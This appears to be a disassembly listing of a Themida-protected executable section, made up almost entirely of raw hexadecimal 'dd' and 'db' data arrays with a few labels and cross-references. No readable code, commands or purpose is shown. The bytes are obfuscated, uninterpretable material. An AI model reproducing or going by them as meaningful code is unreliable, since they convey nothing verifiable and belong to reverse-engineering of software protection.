90BD0A11h, 0D7A3EB6h, 0BBF0BD1Ah, 22190A39h dd 3D7B7C3Fh, 6127D091h, 86A0AD1Ah, 0BF3C4F55h, 0F54ADF42h dd 9F574A59h, 0E9689730h, 776234A6h, 2C99D229h, 4184329Bh dd 0E05F1057h, 0B680729Bh, 0F15035F2h, 6A8h, 594541B7h dd 22A8ECE8h, 8B179B5Fh, 5D793FB6h, 25A1EFECh, 25D6E78Eh dd 0CB0E739Fh, 7268D9C5h, 18C1A02Eh, 39487492h, 0FD1ADF90h dd 0CF0F76F9h, 9E5D7B18h, 0B40F510h, 57D6B314h, 300F01FEh dd 3894E31h, 7735A287h, 92B6DB14h, 53FB6CEFh, 6142C84Ah dd 33A30CDDh, 0E2041F0Eh, 35FF6895h, 97F2FE7Eh, 63FCCh dd 0EEAA2C00h, 515581E0h, 0B804F4B5h, 0E2A82F12h, 4A5885E4h dd 4F50374Ch, 0A79A008Eh, 1606E34h, 76CBD7DBh, 0D79F3B81h dd 1D4809AEh, 9499F9FDh, 577B1856h, 58A377D0h, 8DFA01FEh dd 981EDB9Ah, 0CCCA0F72h, 0E5C340B9h, 1B50ABF7h, 111EBBAEh dd 0B8041BC8h, 0DC1D5CC3h, 0D5044FDEh, 0C23FBCCFh, 2F7B6F9h dd 0A8EB1E84h, 0DE1F6E32h, 1795420Dh, 32163BF4h, 2A2B8C0Fh dd 20F7D384h, 116EF4B8h, 0EAE049C8h, 2D0A31EEh, 0D4A82956h dd 0D6B3F898h, 5AB8Fh, 7A3EB800h, 0ADE9ED5Ch, 14984021h dd 7E3CBB8Eh, 0A6EC1150h, 0DBE48338h, 33769C22h, 6DDCFAC8h dd 0C2A7236Fh, 4B0B9715h, 1DDC9D3Ah, 875F9FDh, 23696EC2h dd 5A6099D8h, 0B896BBBCh, 61C6793Fh, 0FC18B9F0h, 6A1D4A21h dd 0B90D4EEBh, 6FC4FC18h, 0A076D35Eh, 0FB01FAD8h, 6310798Ch dd 70F9FAA6h, 568BFEF6h, 0F53FE62Eh, 37h, 5D7B18C9h, 0A1A01D99h dd 0FAD15618h, 8FB28901h, 27800CCCh, 0A13E331Ch, 6C2DF9FAh dd 0A10B4CEDh, 6DDAF9FAh, 0ABF2BE3Ah, 0E5D19922h, 0E62B6FA2h dd 0DBDC3Fh, 6EE60000h, 99D82369h, 84CF5E64h dd 393A9F53h, 0E5FC18B9h, 58214F46h, 0EC5BC79Dh, 2F7E3CBDh dd 4FCE71AEh, 183D69EAh, 0FAC3B8FCh, 0A1E71053h, 0C68029BEh dd 0B679C583h, 48D67115h, 98FC18CAh, 0EFA9535Fh, 1744A7EBh dd 0D70A43DAh, 0A32F6422h, 89319DEh, 8BBE92BFh, 0FAAD7C2Eh dd 32D89701h, 31301439h, 2128298Eh, 82F9F9FAh, 3D51F639h dd 54041FF4h, 0B429681Fh, 14490D32h, 0DF1382B3h, 73E453F7h dd 1D4AD781h, 454BB0F1h, 7EDFF338h, 70D3B6FEh, 474h, 95317563h dd 7E6420D4h, 0C7C3CF0Bh, 0A9357362h, 719D23D8h, 59821BFAh dd 0FFFA4F4Bh, 0A65415B1h, 4C8DFC1Ah, 659C404Eh, 0FD1F93C4h dd 1BC342F9h, 42FB6D6Eh, 0B266D929h, 5FE2E825h, 9D2DE1Ch dd 8F0B9146h, 9D7B18C1h, 18B93B3Ch, 0FC9DEAFCh, 4CC35A5Ch dd 5FC23F44h, 535F9DDCh, 0D13A83C8h, 1FA4C61h, 0A8ECE8ABh dd 5BCF185Dh, 0D79699ECh, 0CF0C9F23h, 0C9895FEh, 4D8BF9FAh dd 0C8DB3679h, 33723FE6h, 0B8E5C6C4h, 0BFh, 0F37F7639h dd 0FA00E556h, 0A473CF9h, 39AEF5B1h, 0E11B845Ah, 0C0D4EDDh dd 0F8C17726h, 0E33A8079h, 0D6357B60h, 18C1E589h, 8402F7FCh dd 8119C285h, 8637565Ch, 0CF00C049h, 0BC5633BFh, 0CD0A7F2Bh dd 0E41958CFh, 0BD0E4FDEh, 10345996h, 4CD6C811h, 320901FAh dd 8ABEA394h, 34951497h, 0F9FA0003h, 0FB4465D2h, 41FD044h dd 0ECAFD2A9h, 4425A1EFh, 0A1EC0997h, 94FE7EC3h, 36AAEF1h dd 7F790000h, 2AAA9F3Bh, 0D901606Eh, 7D78C9D5h, 2DAE933Fh dd 25CC7B67h, 0B15D6398h, 1FBB09F0h, 0E6ECB02Ah, 4A505683h dd 9DDE7B8Ah, 0B4F9FD1Eh, 6D6E0DC9h, 11C6BB27h, 0B977F841h dd 0D1AEFC18h, 0AE707E64h, 47A6ECEFh, 4D8AB516h, 44B53C4Fh dd 0EC885846h, 76E9DD42h, 0FAC3A5D1h, 34A4E701h, 0CF0048B4h dd 0CC394E56h, 0FDC336B9h, 0D7F02DAEh, 0A384C4B3h, 0A5ACE3D6h dd 56C9FD62h, 0E285B1F1h, 5C81E0ABh, 8E1D9B5Ch, 40DB104Dh dd 0DCCEA77h, 54D74A87h, 0E2D942F3h, 3A49353h, 53E73B9Ch dd 310EAE04h, 0C8A4F0Eh, 0BA36A386h, 6BB200FBh, 631859E2h dd 0CCC449C7h, 677A6380h, 0D74A212Dh, 0C775C172h, 0EE5B1049h dd 66607E81h, 0C9A8FD54h, 298h, 49555187h, 12B8FCF8h, 0FBE7AB2Fh dd 4D494F86h, 15B1FFFCh, 35A6F79Eh, 0DB1E636Fh, 8278C9D5h dd 28D1903Eh, 9786462h, 0FD1EAFA0h, 0FF3F66F9h, 0D823696Eh dd 0B99262EFh, 0F8D48EFh, 98DE7FFCh, 0BFA21FB0h, 7378102Ah dd 0C2CCF047h, 0E52EF960h, 285770ADh, 0FAEF678Fh, 35D1AE01h dd 8402F5B4h, 372F5D23h, 0CCC80C2Ah, 0DB58644Bh, 8DFAE941h dd 8BF93D9Ah, 5B100418h, 7A2942E5h, 80C3B363h, 0BF885157h dd 0A9926292h, 0B25505E5h, 0B824A799h, 95C28B0Dh, 0A7993592h dd 0E8ABC9A8h, 1D5EADF3h, 9AE15ECCh, 1D0C202Dh, 0CC1D9B5Ah dd 4CAEE445h, 5BDACFCAh, 1407DFEh, 0EDF9428h, 0FDBCA398h dd 5110BEFCh, 0AC85E2A8h, 0FF362C33h, 1C6CBAAh, 23D50000h dd 0CE067B67h, 7D7DCCCAh, 21D49531h, 0D10A7F9Bh, 0C9A8C7C3h dd 1DB907F4h, 0FBE7AD2Ch, 42485486h, 16BCFAFFh, 0C172D72Eh dd 10F9FD11h, 696EA96Dh, 62EFD823h, 0D20F9544h, 0CA8B2CAFh dd 1BFC18B9h, 0B3149B2Ch, 1FAE44Fh, 37B6A986h, 0FA95A192h dd 0A23B70F9h, 0DF8FE4E4h, 4EEB9EB2h, 418EFC8h, 1859FE03h dd 0C9F7DC8Fh, 0E93C8078h, 9730376Ch, 0F7DC8FA6h, 95CB007Fh dd 0CF9321B2h, 31A8EBBEh, 0AD31863h, 9382C31h, 4DEC32A0h dd 0E5A4C5C5h, 0A394B5F1h, 72368183h, 44BDC805h, 0D374EBDFh dd 0CB6709BFh, 0A7E699D6h, 1B6E7432h, 0A75312DEh, 0F24B801Bh dd 2C660D41h, 16EDB90h, 39C77822h, 0FD351C69h, 0EA000000h dd 5F22A8ECh, 0B2F71397h, 0ED5C7A46h, 4326ACEAh, 718E149Ah dd 0C2D00D92h, 287665C4h, 911DDFA2h, 0C5C33475h, 4BEC15D9h dd 0F9FD100Ah, 6E905ADBh, 0EFD82369h, 58DB4E62h, 0DDEE419h dd 0FADD92A4h, 0BE3C0D01h, 474B8FF2h, 46CB8C0Ah, 745AFF62h dd 84041C7Ch, 738A18C5h, 3E613126h, 0F448B7Bh, 881368BEh dd 0D9009049h, 0F1709ECBh, 0E0C57F58h, 0F7287CDh, 33B8C3C7h dd 7432A7AAh, 84F96E11h, 0F452A7B9h, 0C393FCCDh, 0CA5011E7h dd 786B480h, 9D87B1A2h, 0B20B6097h, 7864A8Fh, 9D87B1A2h dd 320B6097h, 979D8701h, 4EE747D0h, 0ED65944h, 4809AED1h dd 99979DA2h, 186975A2h, 342D9DFh, 6BB7D6D4h, 30A915E1h dd 9ADD6C6Ah, 0C38E5F5Dh, 0AE919016h, 0D506652Bh, 1D0669F4h dd 87000000h, 6E5517C4h, 624DD9D0h, 0CF7695C2h, 7049860Ch dd 4939AE8Ah, 208BDA99h, 777DBB0Ch, 0D92C686Eh, 0C05B6196h dd 34575B81h, 25404E8Dh, 287341BAh, 1F6E34A9h, 9B21D4h dd 769519C1h, 788307CFh, 7DB068F2h, 14890000h, 0E0895024h dd 405h, 4E88300h, 5C240487h, 57242C89h, 0C781E789h, 4 dd 4EF81h, 3C870000h, 0C895C24h, 2D685124h, 8B16104Dh dd 0C481240Ch, 4, 513CF181h, 0E9812620h, 2A4A7CE9h, 6859CD89h dd 503Bh, 83242489h, 59042404h, 8BE5653h, 89000000h, 0CB015EF3h dd 0FF5B2B89h, 81592434h, 4C4h, 2434FF00h, 4C4835Dh, 0FCD4EEE9h dd 24544AFFh, 92B8816Ch, 0E5AAA6B8h, 0FFC50305h, 0B1EC97E0h dd 0AEB02E3Ah, 0D056553Ch, 9D796122h, 0E7AE124Bh, 8DFDD23Ah dd 0AB543B12h, 8DBDB712h, 284FB10Ch, 0C4EF433Dh, 0E1210302h dd 75E923h, 66600000h, 4A8D88Ch, 35840Fh, 16A0000h, 262DB5FFh dd 858D05E2h, 5E57A61h, 8589D0FFh, 5E22D15h, 0EFC1FE8Bh dd 680Ch, 6A2004h, 6857026Ah, 1000Dh, 2D1595FFh, 32E905E2h dd 0C6000000h, 0E20A4985h, 0DF685605h, 0FFA9C530h, 0E216A1B5h dd 61858D05h, 0FF05E57Ah, 798589D0h, 8D05E224h, 0E2093585h dd 206A5005h, 0FF56056Ah, 0E2247995h, 0C1C36105h, 4BEB06E0h dword_528898 dd 2F0E0910h, 4B1AC53Ch, 1CA4ACDAh, 5C5CD2D4h, 34CE00E4h ; DATA XREF: Themida_:004EED98o dd 0CE1BF531h, 0D129B327h, 0C7DD5B34h, 0CE17E62Ah, 6734DF1Bh dd 4600A6DBh, 1A004D82h, 0D5A3EAh, 9C000000h, 0FEBC19h dd 0FBFE3C00h, 28000000h, 0D427E641h, 0E9C3727Dh, 0F29h dd 185D958Bh db 0E2h, 5 word_5288EE dw 0BD83h ; DATA XREF: Themida_:004EFB00o ; Themida_:004F0FF0o dd 5E200B9h, 49850F00h, 8B000000h, 0E200699Dh, 0B805h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 0BE7238C3h, 0E9845523h, 12h, 0D31FE3CBh dd 0B2BE7388h, 0C8209A1Bh, 9A55B151h, 4C2715Ah, 0DBBF0F00h dd 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 0BD83C9C3h, 5E21EA9h, 83097500h, 0E21805BDh dd 13740005h, 0C08B5350h, 4D0B8h, 0CE9D8D00h, 0FF05E4B0h dd 83585BD3h, 0E21805BDh, 11740005h, 0D0B85350h, 8D000004h dd 0E4B01B9Dh, 5BD3FF05h, 50006A58h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 6221AC0Bh dd 3FA9AC53h, 0EEB9660Dh, 53006A0Dh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0BAF88BB1h dd 27E60CD8h, 0BD89C08Bh, 5E23265h, 10870Fh, 8E80000h dd 12000000h, 9851711Ch, 0B65E8D76h, 858D5B69h, 5E5AC24h dd 6840Fh, 958B0000h, 5E20C09h, 24048950h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 3AC35141h, 0FC5D66A2h dd 549F3790h, 0C49B529h, 858D05E2h, 5E5ABE1h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 7C35646h, 0AE81052h dd 99000000h, 0E24EC6D8h, 1E0A90D9h, 0C9816609h, 505B0E76h dd 8870Fh, 66600000h, 60010FBAh, 4896161h, 50006A24h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 8B38530Eh, 0E21101BDh, 8995FF05h, 6A05E21Ah, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 3F21C356h, 96E4B475h, 0EB9BB32Ch, 2951D78Bh, 0E2075195h dd 448B5A05h, 0FE90424h, 0B4000000h, 17C33E53h, 3D008124h dd 0E248B4B9h, 8589DBC3h, 5E21905h, 0AC0C8589h, 0BD0905E5h dd 5E20881h, 824448Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 7C35343h, 89A4665Bh, 0E20E8DB5h, 20858905h dd 6A05E5ACh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 83BFC357h, 0E23311BDh, 850F0005h dd 14Dh, 18A99589h, 85C605E2h, 5E20A49h, 98D8B47h, 0BF05E223h dd 44F8AC18h, 4E8h, 9AA7D200h, 992B9D4h, 8B500160h, 60042444h dd 0DE8h, 0D839C800h, 21D6AB66h, 0AFDA7364h, 9E83FDBh dd 31000000h, 5DE8B81h, 0A59F0E12h, 0F28B5F5Eh, 0E8008B61h dd 0Eh, 544E20F0h, 0DFCF2398h, 0D86FE9D5h, 35B9614Ch, 597D6D7Eh dd 4244489h, 0F98B6660h, 52505250h, 585A310Fh, 0FE9310Fh dd 8D000000h, 0CAB3CDFAh, 4BB03B65h, 0EC02F2D7h, 585AEAB1h dd 3605861h, 0E22C099Dh, 0DD9D8905h, 6105E22Ch, 16A1B5FFh dd 6A05E2h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 0DBFB80C3h, 0A3494FBBh, 7A61858Dh, 6A05E5h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 958B7CC3h, 5E20C91h, 6218D89h, 0D0FF05E2h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 7BC35242h, 48D5FC90h dd 301CC3BDh, 118589B0h, 6A05E233h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 5E08C355h dd 2961F680h, 0E224F1B5h, 0D5BD8305h, 5E230h, 0DB850Fh dd 0D88A0000h, 0A4985C6h, 6A4705E2h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0E4C7C351h dd 0C8AB97Bh, 0B3463410h, 0D577B3BFh, 4E85Dh, 0B5E20000h dd 52508A0Fh, 66FB8B60h, 0F61CF8Bh, 5A66B131h, 0E9535058h dd 0Bh, 9190C682h, 0DB84E4B2h, 59EEB6B2h, 424448Bh, 0BA665250h dd 310FE6ACh, 28F0Fh, 61600000h, 8B585Ah, 4489FC8Ah, 60500424h dd 0BE9h, 16005400h, 498BAAA2h, 587F5FB7h, 8B585A61h, 0E209E9BDh dd 0A1B5FF05h, 8D05E216h, 0E57A6185h, 44D38005h, 8D29D0FFh dd 5E21551h, 89DAB70Fh, 0E230D585h, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0EF24752Fh dd 0C92E63DAh, 85BD83F8h, 5E205h, 0ED850Fh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 3AD99CC3h, 1B84A42Bh, 505A9D64h, 725C381h, 0C65A339Eh dd 0E20A4985h, 958B5605h, 5E22391h, 510DDB68h, 0FE8B8h dd 3F3B0000h, 8AF35E6Fh, 852E070Eh, 3FC9C013h, 6160606Dh dd 5A61FEB7h, 0E2243481h, 0E96C4E60h, 13h, 264AA02Ah, 42B0BCEEh dd 8CDCED19h, 76B29BECh, 0FF64DDC7h, 0E216A1B5h, 50006A05h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 0C2910005h, 0F6AF3BEh, 0BF66FFBFh, 858DC824h, 5E57A61h dd 0FFDF8B66h, 57006AD0h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 0A5382C95h, 8A7A110Ah dd 1718589h, 858905E2h, 5E20585h, 0D18B6660h, 581B529h dd 0C66105E2h, 0E20A4985h, 0F5806C05h, 0B495683Dh, 8B0FA86Eh dd 0 dd 0EE240481h, 6A3296BBh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 0CA7EC357h, 1A473B42h dd 2DB5FF85h, 8B05E226h, 0E21B31BDh, 0ED858D05h, 6A05E239h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 0BD3CC350h, 0D126D72Fh, 8BD90191h, 0E22C9195h dd 8BD0FF05h, 0E232CDBDh, 12E805h, 0AA320000h, 11A0377Bh dd 217341B0h, 0D63D77DFh, 0DF7182F3h, 2800Fh, 0CA8B0000h dd 10858959h, 6A05E5ACh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 811C351h, 5CC2813Eh dd 6A78411Dh, 4E8F904h, 0 dd 0E9000010h, 0Fh, 435200B0h, 31F9891Ah, 0EE825E1Ch, 50294760h dd 59DE8B53h, 424448Bh, 0A0DEBF66h, 62BB008Bh, 8954B5B8h dd 8A042444h, 6A58F4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 30E34EC3h, 6B1068F1h, 6650B8C9h dd 815AFB8Bh, 94F02404h, 6A4737h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 53AADAC3h, 0D6E18F54h dd 6AE8CFh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 75C35646h, 53321C65h, 0A8BC80BBh, 0A9BD8922h, 0FF05E231h dd 0E2266195h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 0A799BF60h, 0BD296EC8h dd 5E22219h, 0AC1C8589h, 0CF8005E5h, 31006A58h, 0E20EB1BDh dd 0BDBD8905h, 0E805E21Fh, 4, 10000h, 12E8h db 0 byte_529079 db 36h, 0D0h, 0C8h ; DATA XREF: Themida_:004F0034o dd 59070F61h, 7D2B5991h, 0FFCACD9Bh, 0FBDBDEAh, 684h, 860F00h dd 5F000000h, 0D38B6650h, 424448Bh, 9E8h, 53198000h, 268A80Dh dd 6EB5F4BAh, 60008B5Bh, 58ABB153h, 66585360h, 614FC2BEh dd 24448961h, 6ABB6604h, 953358E8h, 5E2053Dh, 24048950h dd 6A0B6AF5h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 2CA8C350h, 0E753CBDDh, 16C7A964h dd 39FAC6BAh, 0E9858D7Bh, 6A05E5ABh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0C8CFC356h dd 68C0FC6h, 1000000h, 0E200BDB5h, 7DBD8905h, 5005E223h dd 0E2E86ABBh, 2404895Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 9CC35242h, 34DB56Fh, 0FF36F526h, 0E2331195h dd 38C0F05h, 80000000h, 0B58D53EFh, 5E5ABF3h, 0A9AFBF66h dd 505F5096h, 6AB95250h, 0F6C8E43h, 38C0F31h, 66000000h dd 585ACE8Bh, 50006A96h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1C04h, 0C3504000h, 39D258EEh, 9DB663A2h, 52605064h dd 0B8586160h, 213263ACh, 24048961h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 0D4C35343h, 818DB5AFh, 0ACF283C3h dd 0D595FF75h, 2905E230h, 0E2178D8Dh, 6AD0FF05h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 67CC355h, 3177032Ch, 0E205098Dh, 1CB58B05h, 8905E5ACh dd 0E225D595h, 1485C705h, 5E5ACh, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 2C50C356h, 80FC76A5h, 0F00207Eh, 30A84h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0C927042Ah, 6A6004h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 8D49BFC3h, 6A2046h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 890F25C3h dd 0E232FD9Dh, 18858905h, 6005E5ACh, 199D9589h, 0E96105E2h dd 27h, 105DBD89h, 6A4005E2h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 0E189C350h, 808D0948h dd 850F0038h, 0FFFFFFD6h, 31E9h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 955BAC05h dd 0B3C2C4B4h, 799D8B51h, 4805E206h, 115B589h, 388005E2h dd 3C840F5Ch, 66000000h, 3880CE8Bh, 30840F2Fh, 89000000h dd 0E218E99Dh, 18853B05h, 0F05E5ACh, 0FFFFD283h, 12E8FFh dd 315E0000h, 0B47C7AFBh, 0C5D9B1ADh, 0D6D9D0EDh, 0BF9962B7h dd 1F9D9D8Bh, 405B05E2h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 6EC35141h, 958BF742h, 5E21479h, 0AC20BD83h dd 0F0005E5h, 7E84h, 50CF8B00h, 48905B6h, 51006A24h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 0DDF4A341h, 802E3603h, 850394CFh, 5E5AC20h, 11E8h, 0AE0B7000h dd 97202FF0h, 0C73EEF48h, 7291D055h, 7EB7905Dh, 0C65Bh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0DAC35141h dd 0A27FA9ECh, 3862A4F9h, 25BAB966h, 1BD8B58h, 9005E20Ah dd 0FEBFB952h, 50596365h, 0DFBF0F90h, 0AC0CB5FFh, 6A05E5h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 8666DDC3h, 4038B94h, 0DE91Eh, 0B9B40000h, 4C65E55Dh dd 7D12DA9Ch, 0FF9E29BCh, 0E5AC1095h, 659D8B05h, 0B05E22Ch dd 9E850FC0h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 0A85C350h, 0B70F81F1h dd 66F781C9h, 6129BE11h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 7FC35343h, 85D7E423h, 1D7A8232h, 0AAF38166h dd 1485C701h, 105E5ACh, 81000000h, 5B0553D7h, 0C59D8B7Bh dd 0E905E209h, 6Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 0C0C35646h, 659589CBh, 0F05E20Bh, 283h dd 0BD98B00h, 0E2188195h, 0DF816105h, 6E3B798Fh, 11CC681h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 1E934DC3h, 9B0A0D0h, 0E21EA5BDh, 0FCF1E905h dd 8166FFFFh, 0E8C034C9h, 4, 8000h, 12E8h, 53C9BC00h, 0DD24337Dh dd 38137D73h, 1C566DF2h, 8B034F95h, 0BF505FCFh, 6E7621E5h dd 424448Bh, 0EE8h, 0D2A96900h, 3034CAE0h, 5B3A6938h, 8BE412EBh dd 8B5BD9h, 0EE8h db 0 byte_5295B5 db 65h, 48h, 2Dh ; DATA XREF: Themida_:004EE708o dd 50B09A8Bh, 345F8673h, 0E893F877h, 9, 0A12492Ch, 0DABD0998h dd 0F5BA66C9h, 895F5A81h, 8B042444h, 840F58D7h, 6, 10798589h dd 6A05E2h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 62C35242h, 0F2415h, 892832BBh, 0E20A51BDh, 1CB5FF05h dd 6A05E5ACh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 4934C350h, 0AF1A112Ah, 8B66D79Bh dd 8595FFCBh, 6605E205h, 858BCB8Bh, 5E5AC14h, 965958Bh dd 0E95005E2h, 12h, 87FA5F8Ch, 41550EC8h, 545263DEh, 0E728448Ch dd 489C2A3h, 0F5BD8B24h, 8B05E21Dh, 0E20681BDh, 24858D05h dd 6605E5ACh, 0B150D88Bh, 240489CCh, 0F840Fh, 0AE90000h dd 44000000h, 0F52D3A73h, 486D64EBh, 0E1858DA5h, 8905E5ABh dd 0E210E185h, 0DE89005h, 0C0000000h, 0F6125D94h, 0D54C4C35h dd 53B9D2D8h, 9D92BEBAh, 0B3505B78h, 6A9054h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 26216C3h dd 12E82FFCh, 33000000h, 0ACEA0CA4h, 9AF2DFF6h, 9675B1F1h dd 11EAEB13h, 28BA665Ah, 0F565982h, 0FF5FFBBFh, 0E21DB595h dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 0FB5152CEh, 0DB57E85Ah, 0C08BCA8Ah, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0AAC35747h, 13D5B589h dd 0BD8305E2h, 5E21EA9h, 83097500h, 0E21805BDh, 13740005h dd 0C08B5350h, 4D0B8h, 359D8D00h, 0FF05E4B1h, 83585BD3h dd 0E21805BDh, 11740005h, 0D0B85350h, 8D000004h, 0E4B0349Dh dd 5BD3FF05h, 9E95358h, 0A8000000h, 0E5617ED9h, 4462B871h dd 0CDB5295Ah, 8B05E217h, 58CF8BC0h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 0EDC35343h, 0B45EB6E2h, 81BD29B7h dd 3305E229h, 0E21B31BDh, 8C205h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 0F1C35545h, 4F8326Bh, 8B500E7Dh dd 0E2195DBDh, 8B665B05h, 6AC08BD7h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0C64DC351h dd 8D2A41A9h, 0E5AC3785h, 0B6BF5705h, 59733BDAh, 33398589h dd 39EB05E2h, 0BB0000h, 0BB02CCh, 0BB02E4h, 0 dd 44C33C82h, 75DA303Ch, 21CB38D4h, 4CC03CA9h, 4DCA7B02h dd 75E055DBh, 21E2199Fh dword_529874 dd 51E121A3h, 49FA3B93h, 45CF3009h, 21C435BDh, 21ADBD8Bh ; DATA XREF: Themida_:004EE6F8o dd 7C8E556Fh, 4D270874h, 652F51FFh, 21BB51C9h, 74EB55F6h dd 0AA6345B8h, 1714AC7Dh, 0A2ED3AACh, 0C3B0FCD2h, 28DB55B2h dd 39ABE858h, 55AE500Fh, 0AAFD05EFh, 2517EDBBh, 0A42755BDh dd 244C6483h, 9354C8E2h, 0F2515053h, 9C2D0D80h, 244C4DE8h dd 71B921F6h, 2517ED28h, 0A42755BDh, 244C6483h, 8E47C8E2h dd 0F2515053h, 96A10D80h, 0A4A7351Dh, 244C4BBFh, 2E7E07Ah dd 0AACF505Fh, 74AE3F1Eh, 21AE5687h, 0E2F375B7h, 5C2DC86h dd 5EAD4E9h, 21AE43F2h, 0E2FB107Bh, 0AA7FF11Bh, 0F1115A09h dd 2BE7D0A9h, 4BF85055h, 224600DBh, 1AE55EDh, 0A8F396ABh dd 0A0AA7117h, 3AAA71F9h, 64AE55DEh, 0BA9E963Ah, 0D5266BC1h dd 0AAFCE17Bh, 0C3B65C58h, 0F4C60BF3h, 475FB5D7h, 152FA736h dd 69BAD2FAh, 0D4137C02h, 0DEABB7B3h, 0C3B8F46Eh, 0E02F33E8h dd 0A423F1AFh, 244B2F1Ah, 175C4203h, 0C97EAAD9h, 21AE5560h dd 572BF6D7h, 5F17122Bh, 180BE4ACh, 47C2B725h, 0A4149FFAh dd 4BAA3FE4h, 224602DEh, 1AE556Fh, 0A8F196E8h, 0A0AA71A7h dd 34AA71A9h, 66AE55F6h, 2134962Ch, 73488C3Dh, 0BC7D0F7h dd 49F1508Dh, 0DFBF3994h, 0A07EDEBDh, 827371E9h, 21C45418h dd 21ADBD2Ah, 788E55BDh, 6D270C1Dh, 652F514Bh, 21B25193h dd 70EF55DBh, 0DB4292Eh, 3AB1CEC1h, 0D9C6C30Ah, 0C82CF051h dd 21AE55D2h, 0FBAE3D09h, 0D8BD189h, 1B5C6AF3h, 0D58A516Ch dd 2ED30FE3h, 21C4AFC4h, 3833E836h, 0F151503Ch, 0C9FE5505h dd 21AE55B4h, 796D0DFBh, 258A1164h, 258A1177h, 21AE5567h dd 926D05FDh, 0CA74B207h, 965BD49Ch, 0E199EBD1h, 9A3FD052h dd 21C45008h, 21ADBDA5h, 7A8E557Bh, 7D270E7Eh, 652F51FAh dd 21B5514Bh, 72ED55B7h, 0D1AE4B18h, 0F5A3F28Ch, 2456DE95h dd 21AE57B7h, 9A3BD034h, 0E12D503Bh, 0B82BDC77h, 12ABB00Ch dd 2342EC1Bh, 8B5D55EDh, 0C9F9559Ch, 21AE5578h, 7E6D0A9Dh dd 258A2957h, 258A11EEh, 21AE55AFh, 5E6D029Ch, 0A45877FEh dd 21AE5A1Fh, 19E37D7Bh, 0B8CAC2A1h, 47D0D147h, 1CE573CEh dd 2F3BC83Eh, 21C45039h, 21ADBDBCh, 788E55F6h, 6D270CB8h dd 652F5199h, 21B851FAh, 70EF556Fh, 5FD23174h, 32D7E8F2h dd 0A468500Fh, 244C5FBFh, 0EB115A38h, 21AE5155h, 46C50BDEh dd 717FDFF3h, 21AE535Eh, 0E39A79DBh, 0AA92AE2Eh, 2EAA71B2h dd 21AE57F2h, 0AA65DFBDh, 